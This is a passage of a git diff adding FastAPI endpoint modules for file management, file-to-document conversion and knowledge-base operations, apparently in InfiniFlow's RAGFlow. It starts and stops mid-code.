access token" + ) + else: + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail="Authorization header required" + ) + +# Create router +router = APIRouter() + + +@router.post('/convert') +async def convert( + req: ConvertRequest, + current_user = Depends(get_current_user) +): + kb_ids = req.kb_ids + file_ids = req.file_ids + file2documents = [] + + try: + files = FileService.get_by_ids(file_ids) + files_set = dict({file.id: file for file in files}) + for file_id in file_ids: + file = files_set[file_id] + if not file: + return get_data_error_result(message="File not found!") + file_ids_list = [file_id] + if file.type == FileType.FOLDER.value: + file_ids_list = FileService.get_all_innermost_file_ids(file_id, []) + for id in file_ids_list: + informs = File2DocumentService.get_by_file_id(id) + # delete + for inform in informs: + doc_id = inform.document_id + e, doc = DocumentService.get_by_id(doc_id) + if not e: + return get_data_error_result(message="Document not found!") + tenant_id = DocumentService.get_tenant_id(doc_id) + if not tenant_id: + return get_data_error_result(message="Tenant not found!") + if not DocumentService.remove_document(doc, tenant_id): + return get_data_error_result( + message="Database error (Document removal)!") + File2DocumentService.delete_by_file_id(id) + + # insert + for kb_id in kb_ids: + e, kb = KnowledgebaseService.get_by_id(kb_id) + if not e: + return get_data_error_result( + message="Can't find this knowledgebase!") + e, file = FileService.get_by_id(id) + if not e: + return get_data_error_result( + message="Can't find this file!") + + doc = DocumentService.insert({ + "id": get_uuid(), + "kb_id": kb.id, + "parser_id": FileService.get_parser(file.type, file.name, kb.parser_id), + "parser_config": kb.parser_config, + "created_by": current_user.id, + "type": file.type, + "name": file.name, + "suffix": Path(file.name).suffix.lstrip("."), + "location": file.location, + "size": file.size + }) + file2document = File2DocumentService.insert({ + "id": get_uuid(), + "file_id": id, + "document_id": doc.id, + }) + + file2documents.append(file2document.to_json()) + return get_json_result(data=file2documents) + except Exception as e: + return server_error_response(e) + + +@router.post('/rm') +async def rm( + req: RemoveFile2DocumentRequest, + current_user = Depends(get_current_user) +): + file_ids = req.file_ids + if not file_ids: + return get_json_result( + data=False, message='Lack of "Files ID"', code=settings.RetCode.ARGUMENT_ERROR) + try: + for file_id in file_ids: + informs = File2DocumentService.get_by_file_id(file_id) + if not informs: + return get_data_error_result(message="Inform not found!") + for inform in informs: + if not inform: + return get_data_error_result(message="Inform not found!") + File2DocumentService.delete_by_file_id(file_id) + doc_id = inform.document_id + e, doc = DocumentService.get_by_id(doc_id) + if not e: + return get_data_error_result(message="Document not found!") + tenant_id = DocumentService.get_tenant_id(doc_id) + if not tenant_id: + return get_data_error_result(message="Tenant not found!") + if not DocumentService.remove_document(doc, tenant_id): + return get_data_error_result( + message="Database error (Document removal)!") + return get_json_result(data=True) + except Exception as e: + return server_error_response(e) diff --git a/api/apps/file_app.py b/api/apps/file_app.py new file mode 100644 index 0000000..6360208 --- /dev/null +++ b/api/apps/file_app.py @@ -0,0 +1,481 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License +# +import os +import pathlib +import re +from typing import List, Optional + +from fastapi import APIRouter, Depends, File, Form, HTTPException, UploadFile, Query +from fastapi.responses import StreamingResponse +from fastapi.security import HTTPBearer, HTTPAuthorizationCredentials + +from api.common.check_team_permission import check_file_team_permission +from api.db.services.document_service import DocumentService +from api.db.services.file2document_service import File2DocumentService +from api.utils.api_utils import server_error_response, get_data_error_result, validate_request +from api.utils import get_uuid +from api.db import FileType, FileSource +from api.db.services import duplicate_name +from api.db.services.file_service import FileService +from api import settings +from api.utils.api_utils import get_json_result +from api.utils.file_utils import filename_type +from api.utils.web_utils import CONTENT_TYPE_MAP +from rag.utils.storage_factory import STORAGE_IMPL +from pydantic import BaseModel + +# Security +security = HTTPBearer() + +# Pydantic models for request/response +class CreateFileRequest(BaseModel): + name: str + parent_id: Optional[str] = None + type: Optional[str] = None + +class RemoveFileRequest(BaseModel): + file_ids: List[str] + +class RenameFileRequest(BaseModel): + file_id: str + name: str + +class MoveFileRequest(BaseModel): + src_file_ids: List[str] + dest_file_id: str + +# Dependency injection +async def get_current_user(credentials: HTTPAuthorizationCredentials = Depends(security)): + """获取当前用户""" + from api.db import StatusEnum + from api.db.services.user_service import UserService + from fastapi import HTTPException, status + import logging + + try: + from itsdangerous.url_safe import URLSafeTimedSerializer as Serializer + except ImportError: + # 如果没有itsdangerous，使用jwt作为替代 + import jwt + Serializer = jwt + + jwt = Serializer(secret_key=settings.SECRET_KEY) + authorization = credentials.credentials + + if authorization: + try: + access_token = str(jwt.loads(authorization)) + + if not access_token or not access_token.strip(): + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail="Authentication attempt with empty access token" + ) + + # Access tokens should be UUIDs (32 hex characters) + if len(access_token.strip()) < 32: + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail=f"Authentication attempt with invalid token format: {len(access_token)} chars" + ) + + user = UserService.query( + access_token=access_token, status=StatusEnum.VALID.value + ) + if user: + if not user[0].access_token or not user[0].access_token.strip(): + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail=f"User {user[0].email} has empty access_token in database" + ) + return user[0] + else: + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail="Invalid access token" + ) + except Exception as e: + logging.warning(f"load_user got exception {e}") + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail="Invalid access token" + ) + else: + raise HTTPException( + status_code=status.HTTP_401_UNAUTHORIZED, + detail="Authorization header required" + ) + +# Create router +router = APIRouter() + + +@router.post('/upload') +async def upload( + parent_id: Optional[str] = Form(None), + files: List[UploadFile] = File(...), + current_user = Depends(get_current_user) +): + pf_id = parent_id + + if not pf_id: + root_folder = FileService.get_root_folder(current_user.id) + pf_id = root_folder["id"] + + if not files: + return get_json_result( + data=False, message='No file part!', code=settings.RetCode.ARGUMENT_ERROR) + + file_objs = files + + for file_obj in file_objs: + if file_obj.filename == '': + return get_json_result( + data=False, message='No file selected!', code=settings.RetCode.ARGUMENT_ERROR) + file_res = [] + try: + e, pf_folder = FileService.get_by_id(pf_id) + if not e: + return get_data_error_result( message="Can't find this folder!") + for file_obj in file_objs: + MAX_FILE_NUM_PER_USER = int(os.environ.get('MAX_FILE_NUM_PER_USER', 0)) + if MAX_FILE_NUM_PER_USER > 0 and DocumentService.get_doc_count(current_user.id) >= MAX_FILE_NUM_PER_USER: + return get_data_error_result( message="Exceed the maximum file number of a free user!") + + # split file name path + if not file_obj.filename: + file_obj_names = [pf_folder.name, file_obj.filename] + else: + full_path = '/' + file_obj.filename + file_obj_names = full_path.split('/') + file_len = len(file_obj_names) + + # get folder + file_id_list = FileService.get_id_list_by_id(pf_id, file_obj_names, 1, [pf_id]) + len_id_list = len(file_id_list) + + # create folder + if file_len != len_id_list: + e, file = FileService.get_by_id(file_id_list[len_id_list - 1]) + if not e: + return get_data_error_result(message="Folder not found!") + last_folder = FileService.create_folder(file, file_id_list[len_id_list - 1], file_obj_names, + len_id_list) + else: + e, file = FileService.get_by_id(file_id_list[len_id_list - 2]) + if not e: + return get_data_error_result(message="Folder not found!") + last_folder = FileService.create_folder(file, file_id_list[len_id_list - 2], file_obj_names, + len_id_list) + + # file type + filetype = filename_type(file_obj_names[file_len - 1]) + location = file_obj_names[file_len - 1] + while STORAGE_IMPL.obj_exist(last_folder.id, location): + location += "_" + blob = await file_obj.read() + filename = duplicate_name( + FileService.query, + name=file_obj_names[file_len - 1], + parent_id=last_folder.id) + STORAGE_IMPL.put(last_folder.id, location, blob) + file = { + "id": get_uuid(), + "parent_id": last_folder.id, + "tenant_id": current_user.id, + "created_by": current_user.id, + "type": filetype, + "name": filename, + "location": location, + "size": len(blob), + } + file = FileService.insert(file) + file_res.append(file.to_json()) + return get_json_result(data=file_res) + except Exception as e: + return server_error_response(e) + + +@router.post('/create') +async def create( + req: CreateFileRequest, + current_user = Depends(get_current_user) +): + pf_id = req.parent_id + input_file_type = req.type + if not pf_id: + root_folder = FileService.get_root_folder(current_user.id) + pf_id = root_folder["id"] + + try: + if not FileService.is_parent_folder_exist(pf_id): + return get_json_result( + data=False, message="Parent Folder Doesn't Exist!", code=settings.RetCode.OPERATING_ERROR) + if FileService.query(name=req.name, parent_id=pf_id): + return get_data_error_result( + message="Duplicated folder name in the same folder.") + + if input_file_type == FileType.FOLDER.value: + file_type = FileType.FOLDER.value + else: + file_type = FileType.VIRTUAL.value + + file = FileService.insert({ + "id": get_uuid(), + "parent_id": pf_id, + "tenant_id": current_user.id, + "created_by": current_user.id, + "name": req.name, + "location": "", + "size": 0, + "type": file_type + }) + + return get_json_result(data=file.to_json()) + except Exception as e: + return server_error_response(e) + + +@router.get('/list') +async def list_files( + parent_id: Optional[str] = Query(None), + keywords: str = Query(""), + page: int = Query(1), + page_size: int = Query(15), + orderby: str = Query("create_time"), + desc: bool = Query(True), + current_user = Depends(get_current_user) +): + pf_id = parent_id + + if not pf_id: + root_folder = FileService.get_root_folder(current_user.id) + pf_id = root_folder["id"] + FileService.init_knowledgebase_docs(pf_id, current_user.id) + try: + e, file = FileService.get_by_id(pf_id) + if not e: + return get_data_error_result(message="Folder not found!") + + files, total = FileService.get_by_pf_id( + current_user.id, pf_id, page, page_size, orderby, desc, keywords) + + parent_folder = FileService.get_parent_folder(pf_id) + if not parent_folder: + return get_json_result(message="File not found!") + + return get_json_result(data={"total": total, "files": files, "parent_folder": parent_folder.to_json()}) + except Exception as e: + return server_error_response(e) + + +@router.get('/root_folder') +async def get_root_folder(current_user = Depends(get_current_user)): + try: + root_folder = FileService.get_root_folder(current_user.id) + return get_json_result(data={"root_folder": root_folder}) + except Exception as e: + return server_error_response(e) + + +@router.get('/parent_folder') +async def get_parent_folder( + file_id: str = Query(...), + current_user = Depends(get_current_user) +): + try: + e, file = FileService.get_by_id(file_id) + if not e: + return get_data_error_result(message="Folder not found!") + + parent_folder = FileService.get_parent_folder(file_id) + return get_json_result(data={"parent_folder": parent_folder.to_json()}) + except Exception as e: + return server_error_response(e) + + +@router.get('/all_parent_folder') +async def get_all_parent_folders( + file_id: str = Query(...), + current_user = Depends(get_current_user) +): + try: + e, file = FileService.get_by_id(file_id) + if not e: + return get_data_error_result(message="Folder not found!") + + parent_folders = FileService.get_all_parent_folders(file_id) + parent_folders_res = [] + for parent_folder in parent_folders: + parent_folders_res.append(parent_folder.to_json()) + return get_json_result(data={"parent_folders": parent_folders_res}) + except Exception as e: + return server_error_response(e) + + +@router.post('/rm') +async def rm( + req: RemoveFileRequest, + current_user = Depends(get_current_user) +): + file_ids = req.file_ids + try: + for file_id in file_ids: + e, file = FileService.get_by_id(file_id) + if not e: + return get_data_error_result(message="File or Folder not found!") + if not file.tenant_id: + return get_data_error_result(message="Tenant not found!") + if not check_file_team_permission(file, current_user.id): + return get_json_result(data=False, message='No authorization.', code=settings.RetCode.AUTHENTICATION_ERROR) + if file.source_type == FileSource.KNOWLEDGEBASE: + continue + + if file.type == FileType.FOLDER.value: + file_id_list = FileService.get_all_innermost_file_ids(file_id, []) + for inner_file_id in file_id_list: + e, file = FileService.get_by_id(inner_file_id) + if not e: + return get_data_error_result(message="File not found!") + STORAGE_IMPL.rm(file.parent_id, file.location) + FileService.delete_folder_by_pf_id(current_user.id, file_id) + else: + STORAGE_IMPL.rm(file.parent_id, file.location) + if not FileService.delete(file): + return get_data_error_result( + message="Database error (File removal)!") + + # delete file2document + informs = File2DocumentService.get_by_file_id(file_id) + for inform in informs: + doc_id = inform.document_id + e, doc = DocumentService.get_by_id(doc_id) + if not e: + return get_data_error_result(message="Document not found!") + tenant_id = DocumentService.get_tenant_id(doc_id) + if not tenant_id: + return get_data_error_result(message="Tenant not found!") + if not DocumentService.remove_document(doc, tenant_id): + return get_data_error_result( + message="Database error (Document removal)!") + File2DocumentService.delete_by_file_id(file_id) + + return get_json_result(data=True) + except Exception as e: + return server_error_response(e) + + +@router.post('/rename') +async def rename( + req: RenameFileRequest, + current_user = Depends(get_current_user) +): + try: + e, file = FileService.get_by_id(req.file_id) + if not e: + return get_data_error_result(message="File not found!") + if not check_file_team_permission(file, current_user.id): + return get_json_result(data=False, message='No authorization.', code=settings.RetCode.AUTHENTICATION_ERROR) + if file.type != FileType.FOLDER.value \ + and pathlib.Path(req.name.lower()).suffix != pathlib.Path( + file.name.lower()).suffix: + return get_json_result( + data=False, + message="The extension of file can't be changed", + code=settings.RetCode.ARGUMENT_ERROR) + for file in FileService.query(name=req.name, pf_id=file.parent_id): + if file.name == req.name: + return get_data_error_result( + message="Duplicated file name in the same folder.") + + if not FileService.update_by_id( + req.file_id, {"name": req.name}): + return get_data_error_result( + message="Database error (File rename)!") + + informs = File2DocumentService.get_by_file_id(req.file_id) + if informs: + if not DocumentService.update_by_id( + informs[0].document_id, {"name": req.name}): + return get_data_error_result( + message="Database error (Document rename)!") + + return get_json_result(data=True) + except Exception as e: + return server_error_response(e) + + +@router.get('/get/{file_id}') +async def get(file_id: str, current_user = Depends(get_current_user)): + try: + e, file = FileService.get_by_id(file_id) + if not e: + return get_data_error_result(message="Document not found!") + if not check_file_team_permission(file, current_user.id): + return get_json_result(data=False, message='No authorization.', code=settings.RetCode.AUTHENTICATION_ERROR) + + blob = STORAGE_IMPL.get(file.parent_id, file.location) + if not blob: + b, n = File2DocumentService.get_storage_address(file_id=file_id) + blob = STORAGE_IMPL.get(b, n) + + ext = re.search(r"\.([^.]+)$", file.name.lower()) + ext = ext.group(1) if ext else None + if ext: + if file.type == FileType.VISUAL.value: + content_type = CONTENT_TYPE_MAP.get(ext, f"image/{ext}") + else: + content_type = CONTENT_TYPE_MAP.get(ext, f"application/{ext}") + else: + content_type = "application/octet-stream" + + return StreamingResponse( + iter([blob]), + media_type=content_type, + headers={"Content-Disposition": f"attachment; filename={file.name}"} + ) + except Exception as e: + return server_error_response(e) + + +@router.post('/mv') +async def move( + req: MoveFileRequest, + current_user = Depends(get_current_user) +): + try: + file_ids = req.src_file_ids + parent_id = req.dest_file_id + files = FileService.get_by_ids(file_ids) + files_dict = {} + for file in files: + files_dict[file.id] = file + + for file_id in file_ids: + file = files_dict[file_id] + if not file: + return get_data_error_result(message="File or Folder not found!") + if not file.tenant_id: + return get_data_error_result(message="Tenant not found!") + if not check_file_team_permission(file, current_user.id): + return get_json_result(data=False, message='No authorization.', code=settings.RetCode.AUTHENTICATION_ERROR) + fe, _ = FileService.get_by_id(parent_id) + if not fe: + return get_data_error_result(message="Parent Folder not found!") + FileService.move_file(file_ids, parent_id) + return get_json_result(data=True) + except Exception as e: + return server_error_response(e) diff --git a/api/apps/kb_app.py b/api/apps/kb_app.py new file mode 100644 index 0000000..9c75dd2 --- /dev/null +++ b/api/apps/kb_app.py @@ -0,0 +1,831 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import json +import logging +from typing import Optional, List + +from fastapi import APIRouter, Depends, HTTPException, Query, status +from fastapi.responses import JSONResponse + +from api.models.kb_models import ( + CreateKnowledgeBaseRequest, + UpdateKnowledgeBaseRequest, + DeleteKnowledgeBaseRequest, + ListKnowledgeBasesRequest, + RemoveTagsRequest, + RenameTagRequest, + RunGraphRAGRequest, + RunRaptorRequest, + RunMindmapRequest, + ListPipelineLogsRequest, + ListPipelineDatasetLogsRequest, + DeletePipelineLogsRequest, + UnbindTaskRequest +) +from api.utils.api_utils import get_current_user + +from api.db.services import duplicate_name +from api.db.services.document_service import DocumentService, queue_raptor_o_graphrag_tasks +from api.db.services.file2document_service import File2DocumentService +from api.db.services.file_service import FileService +from api.db.services.pipeline_operation_log_service import PipelineOperationLogService +from api.db.services.task_service import TaskService, GRAPH_RAPTOR_FAKE_DOC_ID +from api.db.services.user_service import TenantService, UserTenantService +from api.utils.api_utils import get_error_data_result, server_error_response, get_data_error_result, get_json_result +from api.utils import get_uuid +from api.db import PipelineTaskType, StatusEnum, FileSource, VALID_FILE_TYPES, VALID_TASK_STATUS +from api.db.services.knowledgebase_service import KnowledgebaseService +from api.db.db_models import File +from api import settings +from rag.nlp import search +from api.constants import DATASET_NAME_LIMIT +from rag.settings import PAGERANK_FLD +from rag.utils.storage_factory import STORAGE_IMPL + +# 创建 FastAPI 路由器 +router = APIRouter() + + +@router.post('/create') +async def create( + request: CreateKnowledgeBaseRequest, + current_user = Depends(get_current_user) +): + dataset_name = request.name + if not isinstance(dataset_name, str): + return get_data_error_result(message="Dataset name must be string.") + if dataset_name.strip() == "": + return get_data_error_result(message="Dataset name can't be empty.") + if len(dataset_name.encode("utf-8")) > DATASET_NAME_LIMIT: + return get_data_error_result( + message=f"Dataset name length is {len(dataset_name)} which is larger than {DATASET_NAME_LIMIT}") + + dataset_name = dataset_name.strip() + dataset_name = duplicate_name( + KnowledgebaseService.query, + name=dataset_name, + tenant_id=current_user.id, + status=StatusEnum.VALID.value) + try: + req = { + "id": get_uuid(), + "name": dataset_name, + "tenant_id": current_user.id, + "created_by": current_user.id, + "parser_id": request.parser_id or "naive", + "description": request.description + } + e, t = TenantService.get_by_id(current_user.id) + if not e: + return get_data_error_result(message="Tenant not found.") + + # 设置 embd_id 默认值 + if not request.embd_id: + req["embd_id"] = t.embd_id + else: + req["embd_id"] = request.embd_id + + if request.parser_config: + req["parser_config"] = request.parser_config + else: + req["parser_config"] = { + "layout_recognize": "DeepDOC", + "chunk_token_num": 512, + "delimiter": "\n", + "auto_keywords": 0, + "auto_questions": 0, + "html4excel": False, + "topn_tags": 3, + "raptor": { + "use_raptor": True, + "prompt": "Please summarize the following paragraphs. Be careful with the numbers, do not make things up. Paragraphs as following:\n {cluster_content}\nThe above is the content you need to summarize.", + "max_token": 256, + "threshold": 0.1, + "max_cluster": 64, + "random_seed": 0 + }, + "graphrag": { + "use_graphrag": True, + "entity_types": [ + "organization", + "person", + "geo", + "event", + "category" + ], + "method": "light" + } + } + if not KnowledgebaseService.save(**req): + return get_data_error_result() + return get_json_result(data={"kb_id": req["id"]}) + except Exception as e: + return server_error_response(e) + + +@router.post('/update') +async def update( + request: UpdateKnowledgeBaseRequest, + current_user = Depends(get_current_user) +): + if not isinstance(request.name, str): + return get_data_error_result(message="Dataset name must be string.") + if request.name.strip() == "": + return get_data_error_result(message="Dataset name can't be empty.") + if len(request.name.encode("utf-8")) > DATASET_NAME_LIMIT: + return get_data_error_result( + message=f"Dataset name length is {len(request.name)} which is large than {DATASET_NAME_LIMIT}") + name = request.name.strip() + + if not KnowledgebaseService.accessible4deletion(request.kb_id, current_user.id): + return get_json_result( + data=False, + message='No authorization.', + code=settings.RetCode.AUTHENTICATION_ERROR + ) + try: + if not KnowledgebaseService.query( + created_by=current_user.id, id=request.kb_id): + return get_json_result( + data=False, message='Only owner of knowledgebase authorized for this operation.', + code=settings.RetCode.OPERATING_ERROR) + + e, kb = KnowledgebaseService.get_by_id(request.kb_id) + if not e: + return get_data_error_result( + message="Can't find this knowledgebase!") + + if name.lower() != kb.name.lower() \ + and len( + KnowledgebaseService.query(name=name, tenant_id=current_user.id, status=StatusEnum.VALID.value)) >= 1: + return get_data_error_result( + message="Duplicated knowledgebase name.") + + update_data = { + "name": name, + "pagerank": request.pagerank + } + if not KnowledgebaseService.update_by_id(kb.id, update_data): + return get_data_error_result() + + if kb.pagerank != request.pagerank: + if request.pagerank > 0: + settings.docStoreConn.update({"kb_id": kb.id}, {PAGERANK_FLD: request.pagerank}, + search.index_name(kb.tenant_id), kb.id) + else: + # Elasticsearch requires PAGERANK_FLD be non-zero! + settings.docStoreConn.update({"exists": PAGERANK_FLD}, {"remove": PAGERANK_FLD}, + search.index_name(kb.tenant_id), kb.id) + + e, kb = KnowledgebaseService.get_by_id(kb.id) + if not e: + return get_data_error_result( + message="Database error (Knowledgebase rename)!") + kb = kb.to_dict() + kb.update(update_data) + + return get_json_result(data=kb) + except Exception as e: + return server_error_response(e) + + +@router.get('/detail') +async def detail( + kb_id: str = Query(..., description="知识库ID"), + current_user = Depends(get_current_user) +): + try: + tenants = UserTenantService.query(user_id=current_user.id) + for tenant in tenants: + if KnowledgebaseService.query( + tenant_id=tenant.tenant_id, id=kb_id): + break + else: + return get_json_result( + data=False, message='Only owner of knowledgebase authorized for this operation.', + code=settings.RetCode.OPERATING_ERROR) + kb = KnowledgebaseService.get_detail(kb_id) + if not kb: + return get_data_error_result( + message="Can't find this knowledgebase!") + kb["size"] = DocumentService.get_total_size_by_kb_id(kb_id=kb["id"],keywords="", run_status=[], types=[]) + return get_json_result(data=kb) + except Exception as e: + return server_error_response(e) + + +@router.post('/list') +async def list_kbs( + request: ListKnowledgeBasesRequest, + keywords: str = Query("", description="关键词"), + page: int = Query(0, description="页码"), + page_size: int = Query(0, description="每页大小"), + parser_id: Optional[str] = Query(None, description="解析器ID"), + orderby: str = Query("create_time", description="排序字段"), + desc: bool = Query(True, description="是否降序"), + current_user = Depends(get_current_user) +): + page_number = page + items_per_page = page_size + owner_ids = request.owner_ids + try: + if not owner_ids: + tenants = TenantService.get_joined_tenants_by_user_id(current_user.id) + tenants = [m["tenant_id"] for m in tenants] + kbs, total = KnowledgebaseService.get_by_tenant_ids( + tenants, current_user.id, page_number, + items_per_page, orderby, desc, keywords, parser_id) + else: + tenants = owner_ids + kbs, total = KnowledgebaseService.get_by_tenant_ids( + tenants, current_user.id, 0, + 0, orderby, desc, keywords, parser_id) + kbs = [kb for kb in kbs if kb["tenant_id"] in tenants] + total = len(kbs) + if page_number and items_per_page: + kbs = kbs[(page_number-1)*items_per_page:page_number*items_per_page] + return get_json_result(data={"kbs": kbs, "total": total}) + except Exception as e: + return server_error_response(e) + +@router.post('/rm') +async def rm( + request: DeleteKnowledgeBaseRequest, + current_user = Depends(get_current_user) +): + if not KnowledgebaseService.accessible4deletion(request.kb_id, current_user.id): + return get_json_result( + data=False, + message='No authorization.', + code=settings.RetCode.AUTHENTICATION_ERROR + ) + try: + kbs = KnowledgebaseService.query( + created_by=current_user.id, id=request.kb_id) + if not kbs: + return get_json_result( + data=False, message='Only owner of knowledgebase authorized for this operation.', + code=settings.RetCode.OPERATING_ERROR) + + for doc in DocumentService.query(kb_id=request.kb_id): + if not DocumentService.remove_document(doc, kbs[0].tenant_id): + return get_data_error_result( + message="Database error (Document removal)!") + f2d = File2DocumentService.get_by_document_id(doc.id) + if f2d: + FileService.filter_delete([File.source_type == FileSource.KNOWLEDGEBASE, File.id == f2d[0].file_id]) + File2DocumentService.delete_by_document_id(doc.id) + FileService.filter_delete( + [File.source_type == FileSource.KNOWLEDGEBASE, File.type == "folder", File.name == kbs[0].name]) + if not KnowledgebaseService.delete_by_id(request.kb_id): + return get_data_error_result( + message="Database error (Knowledgebase removal)!") + for kb in kbs: + settings.docStoreConn.delete({"kb_id": kb.id}, search.index_name(kb.tenant_id), kb.id) + settings.docStoreConn.deleteIdx(search.index_name(kb.tenant_id), kb.id) + if hasattr(STORAGE_IMPL, 'remove_bucket'): + STORAGE_IMPL.remove_bucket(kb.id) + return get_json_result(data=True) + except Exception as e: + return server_error_response(e) + + +@router.get('/{kb_id}/tags') +async def list_tags( + kb_id: str, + current_user = Depends(get_current_user) +): + if not KnowledgebaseService.accessible(kb_id, current_user.id): + return get_json_result( + data=False, + message='No authorization.', + code=settings.RetCode.AUTHENTICATION_ERROR + ) + + tenants = UserTenantService.get_tenants_by_user_id(current_user.id) + tags = [] + for tenant in tenants: + tags += settings.retrievaler.all_tags(tenant["tenant_id"], [kb_id]) + return get_json_result(data=tags) + + +@router.get('/tags') +async def list_tags_from_kbs( + kb_ids: str = Query(..., description="知识库ID列表，用逗号分隔"), + current_user = Depends(get_current_user) +): + kb_ids = kb_ids.split(",") + for kb_id in kb_ids: + if not KnowledgebaseService.accessible(kb_id, current_user.id): + return get_json_result( + data=False, + message='No authorization.', + code=settings.RetCode.AUTHENTICATION_ERROR + ) + + tenants = UserTenantService.get_tenants_by_user_id(current_user.id) + tags = [] + for tenant in tenants: + tags += settings.retrievaler.all_tags(tenant["tenant_id"], kb_ids) + return get_json_result(data=tags) + + +@router.post('/{kb_id}/rm_tags') +async def rm_tags( + kb_id: str, + request: RemoveTagsRequest, + current_user = Depends(get_current_user) +): + if not KnowledgebaseService.accessible(kb_id, current_user.id): + return get_json_result( + data=False, + message='No authorization.', + code=settings.RetCode.AUTHENTICATION_ERROR + ) + e, kb = KnowledgebaseService.get_by_id(kb_id) + + for t in request.tags: + settings.docStoreConn.update({"tag_kwd": t, "kb_id": [kb_id]}, + {"remove": {"tag_kwd": t}}, + search.index_name(kb.tenant_id), + kb_id) + return get_json_result(data=True) + + +@router.post('/{kb_id}/rename_tag') +async def rename_tags( + kb_id: str, + request: RenameTagRequest, + current_user = Depends(get_current_user) +): + if not KnowledgebaseService.accessible(kb_id, current_user.id): + return get_json_result( + data=False, + message='No authorization.', + code=settings.RetCode.AUTHENTICATION_ERROR + ) + e, kb = KnowledgebaseService.get_by_id(kb_id) + + settings.docStoreConn.update({"tag_kwd": request.from_tag, "kb_id": [kb_id]}, + {"remove": {"tag_kwd": request.from_tag.strip()}, "add": {"tag_kwd": request.to_tag}}, + search.index_name(kb.tenant_id), + kb_id) + return get_json_result(data=True) + + +@router.get('/{kb_id}/knowledge_graph') +async def knowledge_graph( + kb_id: str, + current_user = Depends(get_current_user) +): + if not KnowledgebaseService.accessible(kb_id, current_user.id): + return get_json_result( + data=False, + message='No authorization.', + code=settings.RetCode.AUTHENTICATION_ERROR + ) + _, kb = KnowledgebaseService.get_by_id(kb_id) + req = { + "kb_id": [kb_id], + "knowledge_graph_kwd": ["graph"] + } + + obj = {"graph": {}, "mind_map": {}} + if not settings.docStoreConn.indexExist(search.index_name(kb.tenant_id), kb_id): + return get_json_result(data=obj) + sres = settings.retrievaler.search(req, search.index_name(kb.tenant_id), [kb_id]) + if not len(sres.ids): + return get_json_result(data=obj) + + for id in sres.ids[:1]: + ty = sres.field[id]["knowledge_graph_kwd"] + try: + content_json = json.loads(sres.field[id]["content_with_weight"]) + except Exception: + continue + + obj[ty] = content_json + + if "nodes" in obj["graph"]: + obj["graph"]["nodes"] = sorted(obj["graph"]["nodes"], key=lambda x: x.get("pagerank", 0), reverse=True)[:256] + if "edges" in obj["graph"]: + node_id_set = { o["id"] for o in obj["graph"]["nodes"] } + filtered_edges = [o for o in obj["graph"]["edges"] if o["source"] != o["target"] and o["source"] in node_id_set and o["target"] in node_id_set] + obj["graph"]["edges"] = sorted(filtered_edges, key=lambda x: x.get("weight", 0), reverse=True)[:128] + return get_json_result(data=obj) + + +@router.delete('/{kb_id}/knowledge_graph') +async def delete_knowledge_graph( + kb_id: str, + current_user = Depends(get_current_user) +): + if not KnowledgebaseService.accessible(kb_id, current_user.id): + return get_json_result( + data=False, + message='No authorization.', + code=settings.RetCode.AUTHENTICATION_ERROR + ) + _, kb = KnowledgebaseService.get_by_id(kb_id) + settings.docStoreConn.delete({"knowledge_graph_kwd": ["graph", "subgraph", "entity", "relation"]}, search.index_name(kb.tenant_id), kb_id) + + return get_json_result(data=True) + + +@router.get("/get_meta") +async def get_meta( + kb_ids: str = Query(..., description="知识库ID列表，用逗号分隔"), + current_user = Depends(get_current_user) +): + kb_ids = kb_ids.split(",") + for kb_id in kb_ids: + if not KnowledgebaseService.accessible(kb_id, current_user.id): + return get_json_result( + data=False, + message='No authorization.', + code=settings.RetCode.AUTHENTICATION_ERROR + ) + return get_json_result(data=DocumentService.get_meta_by_kbs(kb_ids)) + + +@router.get("/basic_info") +async def get_basic_info( + kb_id: str = Query(..., description="知识库ID"), + current_user = Depends(get_current_user) +): + if not KnowledgebaseService.accessible(kb_id, current_user.id): + return get_json_result( + data=False, + message='No authorization.', + code=settings.RetCode.AUTHENTICATION_ERROR + ) + + basic_info = DocumentService.knowledgebase_basic_info(kb_id) + + return get_json_result(data=basic_info) + + +@router.post("/list_pipeline_logs") +async def list_pipeline_logs( + request: ListPipelineLogsRequest, + kb_id: str = Query(..., description="知识库ID"), + keywords: str = Query("", description="关键词"), + page: int = Query(0, description="页码"), + page_size: int = Query(0, description="每页大小"), + orderby: str = Query("create_time", description="排序字段"), + desc: bool = Query(True, description="是否降序"), + create_date_from: str = Query("", description="创建日期开始"), + create_date_to: str = Query("", description="创建日期结束"), + current_user = Depends(get_current_user) +): + if not kb_id: + return get_json_result(data=False, message='Lack of "KB ID"', code=settings.RetCode.ARGUMENT_ERROR) + + page_number = page + items_per_page = page_size + + if create_date_to > create_date_from: + return get_data_error_result(message="Create data filter is abnormal.") + + operation_status = request.operation_status + if operation_status: + invalid_status = {s for s in operation_status if s not in VALID_TASK_STATUS} + if invalid_status: + return get_data_error_result(message=f"Invalid filter operation_status status conditions: {', '.join(invalid_status)}") + + types = request.types + if types: + invalid_types = {t for t in types if t not in VALID_FILE_TYPES} + if invalid_types: + return get_data_error_result(message=f"Invalid filter conditions: {', '.join(invalid_types)} type{'s' if len(invalid_types) > 1 else ''}") + + suffix = request.suffix + + try: + logs, tol = PipelineOperationLogService.get_file_logs_by_kb_id(kb_id, page_number, items_per_page, orderby, desc, keywords, operation_status, types, suffix, create_date_from, create_date_to) + return get_json_result(data={"total": tol, "logs": logs}) + except 